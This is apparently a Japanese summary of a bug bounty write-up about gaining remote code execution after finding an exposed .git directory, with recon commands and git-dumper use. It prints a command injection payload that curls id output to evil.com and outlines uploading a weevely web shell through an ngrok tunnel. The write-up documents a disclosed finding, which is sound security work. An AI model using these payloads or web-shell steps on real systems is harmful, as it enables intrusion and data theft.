Hello there, ('ω')ノ
RCE に公開された .git に対する $10.000 の報奨金を。
脆弱性:
.git フォルダの開示
RCE
OS コマンド インジェクション
記事:
https://medium.com/@levshmelevv/10-000-bounty-for-exposed-git-to-rce-304c7e1f54
簡単に解決できるバグを収集する主な段階は偵察で。
このために、bash スクリプトで一連のツールを使用して。
amass enum -active -d $1 -brute -w ~/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -o amass.txt
cat amass.txt | aquatone -ports xlarge -out aqua_$1
nuclei -l aqua_$1/aquatone_urls.txt -t ~/nuclei-templates -es info -o nuclei_$1.txt
これは最も詳細な偵察ではなく。
自由に他のツールを追加できますが、
大量のホストをスキャンするように設計されていて。
幸いなことに、nuclei の出力は、ソースをダウンロードできるいくつかの
ホスト上の公開された .git/ ディレクトリを示して。
これを行うには、git-dumper ツールを使用し。
git-dumper http://example.com/.git/ output
https://github.com/arthaud/git-dumper
コード内で、ローカルの bash スクリプトへの呼び出しを使用して、
shell_exec() 関数を介して ftp ユーザを保存および削除し、
フィルタリングされていないユーザ入力を取得し、
RCE の脆弱性につながったことが判明して。
リクエストを作成するには、ハードコーディングされた秘密鍵を
必要とする単純な検証も考慮する必要があって。
そして、リクエストの最終結果:
http://example.com/ftp-upload/sync.php?deluser=someuser&secret1=[secret1]&secret2=[sha1 encoded secret2]
エントリ ポイントは deluser パラメータになり。
次のステップは、脆弱性自体を検証することで。
そのために、shell_exec() へのインジェクションを介して
サーバにテスト curl 要求を行うと、これは正常に機能して。
次のように、コマンドの出力を URI に送信するか、POST 本文を介して
base64 エンコード形式で送信することにより、
コマンドの出力を読み取ることもできて。
id コマンドのペイロード:
someusr; curl https://evil.com/$(id|base64|tr -d “\n”);
残りはシェルをアップロードすることだけで。
唯一の障害は現在のディレクトリへの書き込み権限がないことで。
そのため、シェルは uploads/ にアップロードされて。
シェルを生成するために、wevely ツールを使用して。
https://github.com/epinna/weevely3
このプロセスを段階的に説明:
1.シェルをtxtにローカルに保存して、curl経由で転送できるようにし、
独自のホストでサーバを起動して。
2.ngrok でトンネルを上げて。
3.シェルを uploads/shell.php に保存するペイロードを送信して。
そして、wevelyを使用してアップロードされたシェルに接続する必要があって。
Best regards, (^^ゞ